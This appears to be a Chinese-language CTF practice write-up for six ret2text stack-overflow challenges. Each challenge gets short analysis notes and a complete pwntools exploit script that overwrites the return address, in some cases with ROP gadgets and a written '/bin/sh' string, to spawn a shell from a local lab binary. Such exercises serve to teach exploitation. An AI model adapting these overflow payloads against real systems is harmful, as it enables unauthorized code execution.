ret2text1_32
checksec
ida 查看，存在溢出，程序中存在 system('/bin/sh')
function
back_door
back_door 函数地址
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2text1_32')
back_door= 0x0804846B
payload = 'A' * 0x14
payload += p32(0)
payload += p32(back_door)
p.sendline(payload)
p.interactive()
ret2text1_64
思路与32位一致
checksec
ida 查看，存在溢出，程序中存在 system('/bin/sh')
function
back_door
back_door 函数地址
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2text1_64')
back_door = 0x04005B6
payload = 'A' * 0x10
payload += p64(0)
payload += p64(back_door)
p.sendline(payload)
p.interactive()
ret2text2_32
checksec
ida 查看，同样的溢出点，在 back_door 函数里发现 system，但是参数不对
function
back_door
shift+f12查看，发现
$0 （也可以直接在data数据域中查找），将$0写入 system
shift+f12
data
右键转换成 data，找
$0的地址
system 地址
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2text2_32')
bin_sh = 0x0804A04B # $0
system = 0x08048340
payload = 'A' * 0x14
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)
p.sendline(payload)
p.interactive()
ret2text2_64
思路与32位一致
checksec
function
进入 back_door 函数，system 的参数有点皮
back_door
shift + f12，发现
$0，地址为 0x0601070
利用 ROPgadget 找可用的 gadget
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2text2_64')
system = 0x0400480
bin_sh = 0x0601070 # $0
pop_rdi = 0x0400683
payload = 'A' * 0x10
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.sendline(payload)
p.interactive()
ret2text3_32
checksec
image.png
ida 查看，存在溢出，找到 system 函数，但是程序中没有可用的 /bin/sh 或者
$0，只能自己构造
main
system
选择在 bss 段的 buf2 写入,再将 buf2 的地址作为 system 的参数传入来获取 shell
gets 地址
gets
system 地址
system
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2text3_32')
gets = 0x08048460
system = 0x08048490
buf2 = 0x0804A080
payload = 'A' * 112
payload += p32(gets)
payload += p32(system)
payload += p32(buf2)
payload += p32(buf2)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
ret2text3_64
思路与32位一致
checksec
ida查看，存在溢出，存在 system，但是程序中没有可用的 /bin/sh 或者$0，只能自己构造
function
back_door
system
还是选择在 bss 段中写入
bss
找可用的 gadget
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2text3_64')
gets = 0x04004A0
system = 0x0400480
bss = 0x0601048
pop_rdi = 0x0400683
payload = 'A' * 0x10
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(gets)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
